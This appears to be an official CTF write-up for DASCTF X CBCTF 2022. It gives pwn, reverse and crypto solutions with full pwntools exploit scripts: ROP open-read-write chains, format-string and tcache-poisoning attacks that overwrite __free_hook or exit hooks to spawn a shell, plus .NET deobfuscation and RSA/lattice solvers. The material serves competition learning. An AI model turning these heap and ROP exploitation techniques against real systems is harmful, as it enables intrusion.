payload = payload.ljust(0xe0,"x00")+p64(end_addr-8)+p64(leave_ret)
payload = payload.ljust(0xf8,"x00")+b'./flagx00x00'
sa("And pls write your own information on itn",payload)
payload=p64(end_addr-8)+p64(leave_ret)
sa("Tell me your wish:n",payload)
puts_addr=leak_address()
libc_base=puts_addr-libc.sym['puts']
pop_rsi=libc_base+0x27529
pop_rdx_r12=libc_base+0x11c1e1
open_addr=libc_base+libc.sym['open']
success("libc_base:"+hex(libc_base))
orw = p64(pop_rdi)+p64(end_addr+0xf8)
orw += p64(pop_rsi)+p64(0)+p64(open_addr)
orw += p64(pop_rdi)+p64(3)
orw += p64(pop_rsi)+p64(end_addr+0x100)
orw += p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(read_plt)
orw += p64(pop_rdi)+p64(end_addr+0x100)+p64(puts_addr)
p.send(orw)
p.send('yemei')
ia()
02
cyberprinter
预期解
白给libc,然后fmt改exit的call [rdx]为one_gadget,并且覆盖返回地址为start(256分之一的概率)。第二次触发exit(-1)即可
def exp():
global r
global libc
global elf
r=remote("127.0.0.1",9999)
##r=process('./cyberprinter')
libc=ELF('libc-2.31.so')
##z()
r.sendafter("pls..",'a'*0x10+'Nameless')
r.recvuntil('Nameless')
libcbase=u64(r.recv(6).ljust(8,'x00'))-libc.sym['_IO_2_1_stderr_']
log.success('libcbase:'+hex(libcbase))
##set_libc_func
one=[0xe6aee,0xe6af1,0xe6af4]
exit_hook=libcbase+0x1ed608
ogg=libcbase+one[0]
free_hook=libcbase+libc.sym['__free_hook']
##set_fmt_sth
A=ogg & 0xffff
B=(ogg>>16) & 0xffff
C=0x1140
pd='%{}c%22$hn%{}c%13$hn%{}c%14$hn'.format(C,A-C,B-A)
pd=pd.ljust(0x28,'x00')+p64(exit_hook)+p64(exit_hook+2)+'aaaaaaaa'*7+'x18'
##z()
r.sendafter("And I will print what you write",pd)
r.sendafter("pls..",'a'*0x10+'Nameless')
r.sendafter("And I will print what you write",'pPxX')
r.interactive()
非预期
由于puts里面存在strlen的调用,可以直接修改strlen的libc got(没看懂建议si进puts看看)为ogg一把梭
主要是我话太多了,把printf后面那个puts去掉就预防非预期了
02
bar
白给libc,填满tcache然后UB放俩相邻堆块合并,取出tcache里一个堆块,double free UB中一个堆块放入tcache,然后切割UB合并的堆块使得tcache中的UB堆块的fd指针为UB的main_arena,通过drink函数的类型混淆修改main_arena为free_hook然后tcache poison 修改为 one_gadget即可get shell
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("Your choice:",str(num))
def add(idx,con):
cho(1)
r.sendlineafter("Whisky , brandy or Vodka?",str(idx))
r.sendafter("You may want to tell sth to the waiter:",con)
def free(idx,size=0x100):
cho(2)
r.sendlineafter("Which?",str(idx))
r.sendlineafter("How much?",str(size))
def exp():
global r
global libc
global elf
r=remote("127.0.0.1",9999)
##r=process('./bar')
libc=ELF('libc-2.31.so')
cho(3)
r.recvuntil("icecream!n")
libcbase=int(r.recvuntil('n',drop=True),16)-libc.sym['_IO_2_1_stdout_']
log.success("libcbase:"+hex(libcbase))
##set_libc_func
##system=libcbase+libc.sym['system']
one=[0xe6aee,0xe6af1,0xe6af4]
onegadget=libcbase+one[1]
for i in range(0,10):
add(0,'nameless')
for i in range(0,9):
free(i)
add(0,'nameless')#10
##z()
free(8,0)
add(1,'nameless')#11
add(1,'nameless')#12
add(2,'nameless')#13
free(8,0x80)
add(0,'nameless')#14
add(0,p64(onegadget))
add(0,'cat ')
r.interactive()
if __name__ == '__main__':
exp()
03
cgrasstring
C++ STLstring类的resize很类似realloc,可以实现free功能。知道这个,就是一个很裸的2.27版本的tcache attack了
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("Your choice:",str(num))
def add(size,con):
cho(1)
r.sendlineafter("size:",str(size))
r.sendafter("content:",con)
def change(idx,size,con):
cho(2)
r.sendlineafter("idx",str(idx))
r.sendlineafter("size",str(size))
r.sendafter("con",con)
def show(idx):
cho(3)
r.sendlineafter("idx",str(idx))
def exp():
global r
global libc
##r=process('./cgrasstring')
r=remote("127.0.0.1",9999)
libc=ELF('libc-2.27.so')
for i in range(0,8):
add(0x80,"nameless")
for i in range(1,8):
change(i,0x90,'xe0')
##z()
##z()
show(7)
r.recvuntil('Now you see it:')
libcbase=u64(r.recv(6).ljust(8,'x00'))-0x3ebce0
log.success("libcbase:"+hex(libcbase))
##set_libcfunc
##exit_hook=libcbase+0x1ed608
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
add(0x20,'cat flag')
change(8,0x30,p64(free_hook))
one=[0x4f3d5,0x4f432,0x10a41c]
ogg=libcbase+one[1]
##get_shell
##z()
add(0x20,p64(ogg))
##z()
##cho(4)
r.interactive()
if __name__ == '__main__':
exp()
04
ez_note
add函数获取size时存入的是int64,但是检查size和malloc用的是int类型,会导致堆溢出
通过堆溢出改size为unsorted bin大小,由于add里输入内容时会在结尾00截断,所以利用切割堆块使unsorted头结点直接落在重叠堆块的内容区,泄露libc
再利用堆溢出攻击已经释放到tcache的堆块,劫持tcache链表,改__free_hook为system
释放/bin/sh字符串堆块getshell
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
elf=ELF("./"+binary_name)
if local:
#p=process("./"+binary_name)
p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('127.0.0.1',9999)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'x00'))
def cho(num):
sl(str(num))
def add(size,con):
cho(1)
sa('Note size:',str(size))
sa('Note content:',con)
def show(idx):
cho(3)
sa("Note ID:",str(idx))
def delete(idx):
cho(2)
sa("Note ID:",str(idx))
# variables
# gadgets
# helper functions
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
# main
add(0x80,'yemei0') # 0
add(0x80,'yemei1') # 1
add(0x200,'yemei2') # 2
add(0x200,'yemei3') # 3
add(0x80,'yemei4') # 4
delete(0)
# 堆溢出覆盖改size
payload='A'*0x80+p64(0)+p64(0x4B1)
add(0x100000080,payload) # 0
delete(1)
# 切割unsorted bin堆块,使头结点落在#2堆块的con位
add(0x80,'yemei1') # 1
show(2)
ru('Note content:')
unsorted_addr=leak_address()
libc_base=unsorted_addr-0x1ebbe0
system_addr=libc_base+libc.sym['system']
__free_hook=libc_base+libc.sym['__free_hook']
success("unsorted_addr:"+hex(unsorted_addr))
success("libc_base:"+hex(libc_base))
#z('set $a=$rebase(0x4060)')
#pause()
add(0x400,'yemei5') # 5
delete(1)
payload='A'*0x80+p64(0)+p64(0x211)
add(0x100000080,payload) # 1
delete(3)
delete(2)
# 劫持tache头结点,改__free_hook为system
delete(1)
payload='A'*0x80+p64(0)+p64(0x211)+p64(__free_hook)
add(0x100000080,payload) # 1
add(0x200,'/bin/shx00') # 2
add(0x200,p64(system_addr)) # 3
delete(2)
ia()
Reverse
01
landing
无壳,直接ida打开,C++,
main:
一段主函数和几个catch块
简单的输入后加密,查看func1:
同样也是一段函数加几个catch块
一个假的加密,解出来是个假的flag
查看func2:
抛出异常,抛出个char*,本身没有catch块,开始栈展开,顺着调用链回去找landing pad(catch块),发现在main里
在主函数中patch一下(jmp)得到真正的验证段:
分析一下可知,
为输入进入nothing函数最后与密文比对,查看nothing:
真就nothing呗,其实有一段花指令,patch一下(E8->90)
不难看出还是一段base64
但是每个输出后面偷偷加了个1
分析至此结束,写脚本解出flag:
import base64
endata='GUwDUHG#kYGx7FBA#{QJT(A {BG$BG$BGz//'
b64data=[]
for i in range(len(endata)):
temp = ord(endata[i])^0x12
b64data.append(temp)
for i in range(len(endata)-2):
b64data[i]=chr(b64data[i]-1)
enflag = bytearray(base64.b64decode(''.join(b64data)))
flag=''
for i in range(len(enflag)):
flag+=chr((enflag[i]-1)^0x22)
print(flag)
#itisbulijojodebuliduoooooooo
打开exe过一下check:
这里有一些师傅flag是对的但是过不了check。。。emmm昨天研究了一下但是没研究出来为什么,怪,只能是对被影响的师傅说声对不起了。。。
flag:DASCTF{itisbulijojodebuliduoooooooo}
02
cbNET
使用Die,发现是*.NET程序,有Confuser壳并使用Dotfuscator*进行了混淆
用UnConfuserEx.exe脱壳
得到
用dnspy打开脱壳后的exe
发现字符串进行了加密并且有控制流混淆
这里我们看到**ᜀ(object A_0, RoutedEventArgs A_1)**这是我们所要寻找的按钮点击事件
程序首先判断输入的字符串长度有没有31位,如果没有则输出wrong
使用dnspy进行动态调试来解密字符串
两个b()函数的返回值分别是**CBCTF{和}**判断flag的格式是否正确
继续动态调试,发现两个函数
分析第一个函数this.ᜀ(ref array, text)
// ᜂ
// Token: 0x0600001E RID: 30 RVA: 0x00002594 File Offset: 0x00000794
private object ᜀ(ref string[] A_0, string A_1)
{
int a_ = 1;
checked
{
switch (0)
{
default:
{
object result;
for (;;)
{
string text = ᜀ.b("഼䴾⁀㩂㙄", a_);
int num = 0;
int num2 = A_1.Length - 2;
int num3 = 6;
if (true)
{
}
int num4 = 4;
for (;;)
{
switch (num4)
{
case 0:
return result;
case 1:
goto IL_67;
case 2:
if (num3 > num2)
{
num4 = 3;
continue;
}
A_0[num3 - 6] = Conversions.ToString(A_1[num3]);
A_0[num3 - 6] = Conversions.ToString(Strings.Asc(A_0[num3 - 6]) ^ Strings.Asc(text[num]));
num = (num + 1 ^ 5);
num3++;
num4 = 1;
continue;
case 3:
result = false;
num4 = 0;
continue;
case 4:
goto IL_67;
}
break;
IL_67:
num4 = 2;
}
}
return result;
}
}
}
}
动态调试解密一下字符串
分析一下逻辑是以0rays为密钥循环与CBCTF{}内的内容进行异或运算
我们再来分析一下第二个函数this.ᜀ(ref array);
// ᜂ
// Token: 0x06000020 RID: 32 RVA: 0x00002748 File Offset: 0x00000948
private object ᜀ(ref string[] A_0)
{
switch (0)
{
default:
{
object result;
for (;;)
{
int num = checked(A_0.Length - 1);
int num2 = 0;
int num3 = 3;
for (;;)
{
switch (num3)
{
case 0:
goto IL_147;
case 1:
goto IL_5F;
case 2:
{
bool flag;
if (flag)
{
num3 = 10;
continue;
}
double num4;
num4 += 1.0;
num3 = 6;
continue;
}
case 3:
goto IL_121;
case 4:
{
double num4;
double num5;
if (num4 > num5)
{
num3 = 8;
continue;
}
bool flag = checked(this.ᜀ((int)Math.Round(num4)) & this.ᜀ((int)Math.Round(unchecked(Conversions.ToDouble(A_0[num2]) - num4)))) != 0;
num3 = 2;
continue;
}
case 5:
if (num2 > num)
{
num3 = 9;
continue;
}
num3 = 12;
continue;
case 6:
goto IL_5F;
case 7:
return result;
case 8:
goto IL_147;
case 9:
result = false;
num3 = 7;
continue;
case 10:
{
if (true)
{
}
double num4;
A_0[num2] = Conversions.ToString(num4 * (Conversions.ToDouble(A_0[num2]) - num4));
num3 = 0;
continue;
}
case 11:
goto IL_121;
case 12:
{
try
{
A_0[num2] = Conversions.ToString((double)(Conversions.ToLong(A_0[num2]) ^ Conversions.ToLong(A_0[checked(num2 - 1)]) / (long)(num2 % 8)) + Conversions.ToDouble(A_0[checked(num2 - 1)]) % (double)(num2 % 8));
goto IL_1D4;
}
catch (Exception ex)
{
A_0[num2] = Conversions.ToString((double)(Conversions.ToLong(A_0[num2]) ^ Conversions.ToLong(A_0[checked(num2 + 7)]) / 8L) + Conversions.ToDouble(A_0[checked(num2 + 7)]) % 8.0);
goto IL_1D4;
}
goto IL_121;
IL_1D4:
A_0[num2] = Conversions.ToString(Conversions.ToDouble(A_0[num2]) - 2.0 - Conversions.ToDouble(A_0[num2]) % 2.0);
double num5 = Conversions.ToDouble(A_0[num2]) - 2.0;
double num4 = 2.0;
num3 = 1;
continue;
}
}
break;
IL_5F:
num3 = 4;
continue;
IL_121:
num3 = 5;
continue;
IL_147:
checked
{
num2++;
num3 = 11;
}
}
}
return result;
}
}
}
分析一下函数,那么这里的算法大致为
def isPrime(n):# 判断n是否为质数
if n < 2:
return 0
for i in range(2, n - 1):
if n % i == 0:
return 0
return 1
for num2 in range(len(input)):# input为第一个函数异或加密后的数组
try:
input(num2) = (input(num2) ^ (input(i - 1) // (num2 % 8))) + input(num2 - 1) % (num2 % 8)
except:
input(num2) = (input(num2) ^ (input(i + 7) // 8)) + input(num2 + 7) % 8
input(num2) = input(num2) - 2 - (input(num2) % 2)
for j in range(2,input(num2) - 1):
if isPrime(j) and isPrime(input(num2) - j):
input(i) = j * (input(num2) - j)
PS:由die可以查出是dotfuscator混淆,所以我们也可以使用de4dot来将控制流平坦化和字符串的加密去除
PS D:cbtest赛博杯final> D:TOOLSnet混淆de4dot-masterde4dot-masterReleasenet45de4dot.exe D:cbtest赛博杯finalcbNET-unpacked.exe
de4dot v3.1.41592.3405
Detected Dotfuscator 124576:1:1:4.9.6005.29054 (D:cbtest赛博杯finalcbNET-unpacked.exe)
Cleaning D:cbtest赛博杯finalcbNET-unpacked.exe
WARNING: File 'D:cbtest赛博杯finalcbNET-unpacked.exe' contains XAML which isn't supported. Use --dont-rename.
Renaming all obfuscated symbols
Saving D:cbtest赛博杯finalcbNET-unpacked-cleaned.exe
用dnspy打开后缀为cleaned的exe
可以发现代码已经干净了不少,那么也就可以开始快乐的逆向算法啦 ^.^
由于最后一步将原来的数减2或者减3(取决于原来的数是奇数还是偶数)之后分解为两个质数和,原来的数会有奇数和偶数两种情况的存在,所以最后的逆向脚本需要进行递归爆破
最后可以根据算法和题目所给的SHA256值写出逆向脚本
import hashlib
def isPrime(n):
if n < 2:
return 0
for i in range(2, n - 1):
if n % i == 0:
return 0
return 1
def xordecrypt(key):
str = "0rays"
circle = 0
flag = ""
for i in range(len(key)):
flag = flag + chr(key[i] ^ ord(str[circle]))
circle = (circle + 1) ^ 5
flag = "CBCTF{" + flag + "}"
t = hashlib.sha256()
t.update(flag.encode())
finalflag = t.hexdigest()
if finalflag == "15c4ac7645546a1ef8141441b48e1824954fdbb159bf96400061b17db1af9edf":
print(flag)
exit(0)
def recursion(key2, i):
key = key2.copy()
if (i % 8) != 0:
key[i] = (key[i] - key[i - 1] % (i % 8)) ^ (key[i - 1] // (i % 8))
else:
key[i] = (key[i] - key[i + 7] % 8) ^ (key[i + 7] // 8)
if i != 0:
decrypt(key, i - 1)
else:
xordecrypt(key)
def decrypt(key1, i):
key = key1.copy()
for j in range(2, key[i] - 2):
if key[i] % j == 0 and isPrime(j) and isPrime(key[i] // j):
key[i] = j + key[i] // j
break
key[i] = key[i] + 2
recursion(key, i)
key[i] = key[i] + 1
recursion(key, i)
key = [309, 1981, 2823, 6979, 28339, 39487, 33035, 283711, 623, 4109, 23551, 54761, 67985, 231149, 499603, 1354567, 213,
2651, 22559, 52549, 484663, 290793, 532213, 1746643]
decrypt(key, 23)
脚本执行7至8分钟左右,得到flag CBCTF{Vb_1s_SucH_An_e4sY_w0rk1}
Crypto
01
easySignin
题目代码如下
from Crypto.Util.number import *
import libnum
from random import randint
from secret import flag
p = getPrime(512)
d = getPrime(40)
m = libnum.s2n(flag)
a = randint(2,p)
b = randint(2,p)
c = randint(2,p)
g = d
for i in range(10):
g = (c*d**2 + b*g + a)%p
a = (a*b - c) % p
b = (b*c - a) % p
c = (c*a - b) % p
t = (m+d)**2 %p
print('p=',p)
print('a=',a)
print('b=',b)
print('c=',c)
print('g=',g)
print('t=',t)
'''
p= 7401065890119025282135237666865199348422934055235938750055484595354436662197240099942459295859988341711506222758512560253713779430837732509448750584143287
a= 5097231898212960128903074900985356055836951404060166089258364908769341550233458713815667681890859853754052526096733357598116801554550217975926267463812138
b= 6989276901421586140104653013021148101009186320041234303296655326755921455083826794462581309679969822114127882074306882159136892475173510202649622903142128
c= 4575573433881215441861821996374208582728569872429449710264906253767730954016883611590824227229273549790738144986204293298625807576019673353265052108819031
g= 4606139587619501210690571040197444906095169142901240337181570159608379282415730401796231483513399365820678663641796805405950996305199522144883918220978191
t= 5900014599731907456888112443089759499580759761986078581408643618098215500665266331415132596521096297891845966069328210113510021140407326977594544796697041
'''
根据代码不难发现,其实整个题目架构就是一个域上方程。通过域上运算可以还原a、b、c数列,后使用root解方程,就可以得到方程的解。二次剩余拿到flag。
#sage
import libnum
p= 7401065890119025282135237666865199348422934055235938750055484595354436662197240099942459295859988341711506222758512560253713779430837732509448750584143287
a= 5097231898212960128903074900985356055836951404060166089258364908769341550233458713815667681890859853754052526096733357598116801554550217975926267463812138
b= 6989276901421586140104653013021148101009186320041234303296655326755921455083826794462581309679969822114127882074306882159136892475173510202649622903142128
c= 4575573433881215441861821996374208582728569872429449710264906253767730954016883611590824227229273549790738144986204293298625807576019673353265052108819031
g= 4606139587619501210690571040197444906095169142901240337181570159608379282415730401796231483513399365820678663641796805405950996305199522144883918220978191
t= 5900014599731907456888112443089759499580759761986078581408643618098215500665266331415132596521096297891845966069328210113510021140407326977594544796697041
a1 = [0 for i in range(10)]
b1 = [0 for i in range(10)]
c1 = [0 for i in range(10)]
for i in range(10):
c = (b+c)*inverse_mod(a,p)
b = (a+b)*inverse_mod(c,p)
a = (c+a)*inverse_mod(b,p)
c1[9-i] = c
b1[9-i] = b
a1[9-i] = a
R.<x> = PolynomialRing(GF(p))
y = x
for i in range(10):
y = c1[i]*x^2 + b1[i]*y + a1[i]
y = y-g
ans = y.roots()
print(ans)
for i in ans:
if i[0] < 2**40:
d = i[0]
x1 = power_mod(t,(p+1)//4,p)
x2 = p-power_mod(t,(p+1)//4,p)
print(libnum.n2s(int(x1-d)))
print(libnum.n2s(int(x2-d)))
02
LittleRSA
from Crypto.Util.number import *
import sympy
import random
from secret import flag
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
phi = (p-1)*(q-1)
e = 65537
n = p * q
c = pow(m, e, n)
s = getPrime(300)
N = getPrime(2048)
g = p * inverse(s,N)**2 % (N**2)
print(N)
print(g)
print(n)
print(c)
'''
19351301035801508116955552063316327463227928638319284082504070745230119792307421099534903837766317639913937954784857576991401214861067471772614753337821871108189780331081099041824669243928056765115068764246765680962348646383991303828426125303844394268682191775232611288039200316595279055408827296256289143602827525373267536643865729646353071637054367702218515803980122435811129935450486950137279824491461041391572264371799797200331838690523349105589985032730668315787318829244743317257793753147209875458127340875400367081865762286565978620979196410411241442894450955280237513249393612603560410291825805553536595543937
101172011079013273946711882340439823149055809449035744718659818796135714101721641190114954130041477714466321498903210220694435354795744225843314447645623337668697058127975104586375292636080114347294697007231487782548846095107329445479367324424672776003899748234353857872627585595343736452088156885081907758727085723312506489549364721644636251780350312413098132506051531311685636921117457469745637347738336829350634994271419554741425590636953154753970902976959308323838617091060754826727417688836026597614894745348808019654100196615719730109909578899299246848916182034705259206906552769087038179288139086772719994577168184701096922291610523676039127012518100023765548552210944426749474888311751069936144583375194023227887848704267587915237057432609663328145608194550736074250822416779448467084842127165553649513397606464059847361880649213934069715996589751778384513724306521043255299443480482640183740131563318058454711913397533436985618182923646192481486120942073719321372236539019107909910597047133371708017755744495134116771999521953654596632221519266339372439452558083199640035069852530373510758859460350025736629801086757717838159774542506755335660607766677992105601518694405113552321342152041808586187181800679845672788746273313
90106928919727272173474070618911951313216606598108495724382284361415375454490594410306345748069424740100772955015304592942129026096113424198209327375124576666577469761124470792842854884924199449996929134613382626394351988541980388358156143332979538058465890179760337315789398915560641465656968797050755849799
51609249982849856103564442566936515708380814106997783395400669324617748952940831076546581735494963467680719842859574144530848473300102236821201997786375946601413660428461473204032985053128283751860315027843200214217715401391736262811016964783589439740884991543059175666298728428567481043422497862838127903980
'''
又是这个很笨重的格子。
,即
读位数,造个格子
规约得到
、
。
exp如下
#sage
import gmpy2
import libnum
N = 19351301035801508116955552063316327463227928638319284082504070745230119792307421099534903837766317639913937954784857576991401214861067471772614753337821871108189780331081099041824669243928056765115068764246765680962348646383991303828426125303844394268682191775232611288039200316595279055408827296256289143602827525373267536643865729646353071637054367702218515803980122435811129935450486950137279824491461041391572264371799797200331838690523349105589985032730668315787318829244743317257793753147209875458127340875400367081865762286565978620979196410411241442894450955280237513249393612603560410291825805553536595543937
g = 101172011079013273946711882340439823149055809449035744718659818796135714101721641190114954130041477714466321498903210220694435354795744225843314447645623337668697058127975104586375292636080114347294697007231487782548846095107329445479367324424672776003899748234353857872627585595343736452088156885081907758727085723312506489549364721644636251780350312413098132506051531311685636921117457469745637347738336829350634994271419554741425590636953154753970902976959308323838617091060754826727417688836026597614894745348808019654100196615719730109909578899299246848916182034705259206906552769087038179288139086772719994577168184701096922291610523676039127012518100023765548552210944426749474888311751069936144583375194023227887848704267587915237057432609663328145608194550736074250822416779448467084842127165553649513397606464059847361880649213934069715996589751778384513724306521043255299443480482640183740131563318058454711913397533436985618182923646192481486120942073719321372236539019107909910597047133371708017755744495134116771999521953654596632221519266339372439452558083199640035069852530373510758859460350025736629801086757717838159774542506755335660607766677992105601518694405113552321342152041808586187181800679845672788746273313
n = 90106928919727272173474070618911951313216606598108495724382284361415375454490594410306345748069424740100772955015304592942129026096113424198209327375124576666577469761124470792842854884924199449996929134613382626394351988541980388358156143332979538058465890179760337315789398915560641465656968797050755849799
c = 51609249982849856103564442566936515708380814106997783395400669324617748952940831076546581735494963467680719842859574144530848473300102236821201997786375946601413660428461473204032985053128283751860315027843200214217715401391736262811016964783589439740884991543059175666298728428567481043422497862838127903980
m = matrix([[N,0],[g,1]])
a = m.LLL()
#print(a)
p = abs(a[0][0])
assert n // p *p == n
q = n//p
phi = (p-1)*(q-1)
e = 65537
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
03
easyRSA
#sage
c = 262857004135341325365954795119195630698138090729973647118817900621693212191529885499646534515610526918027363734446577563494752228693708806585707918542489830672358210151020370518277425565514835701391091303404848540885538503732425887366285924392127448359616405690101810030200914619945580943356783421516140571033192987307744023953015589089516394737132984255621681367783910322351237287242642322145388520883300325056201966188529192590458358240120864932085960411656176
e = 543692319895782434793586873362429927694979810701836714789970907812484502410531778466160541800747280593649956771388714635910591027174563094783670038038010184716677689452322851994224499684261265932205144517234930255520680863639225944193081925826378155392210125821339725503707170148367775432197885080200905199759978521133059068268880934032358791127722994561887633750878103807550657534488433148655178897962564751738161286704558463757099712005140968975623690058829135
n = 836627566032090527121140632018409744681773229395209292887236112065366141357802504651617810307617423900626216577416313395633967979093729729146808472187283672097414226162248255028374822667730942095319401316780150886857701380015637144123656111055773881542557503200322153966380830297951374202391216434278247679934469711771381749572937777892991364186158273504206025260342916835148914378411684678800808038832601224951586507845486535271925600310647409016210737881912119
def plus(e, n):
m = 2
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
#print(k)
q1 = i.denominator()
#print(q1)
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
print(r,s)
return d
q0 = q1
d = plus(e, n)
print(d)
print(libnum.n2s(int(pow(c,d,n))))
— 往期回顾 —
原文始发于微信公众号(恒星EDU):DASCTF X CBCTF 2022| 九月挑战赛官方Write Up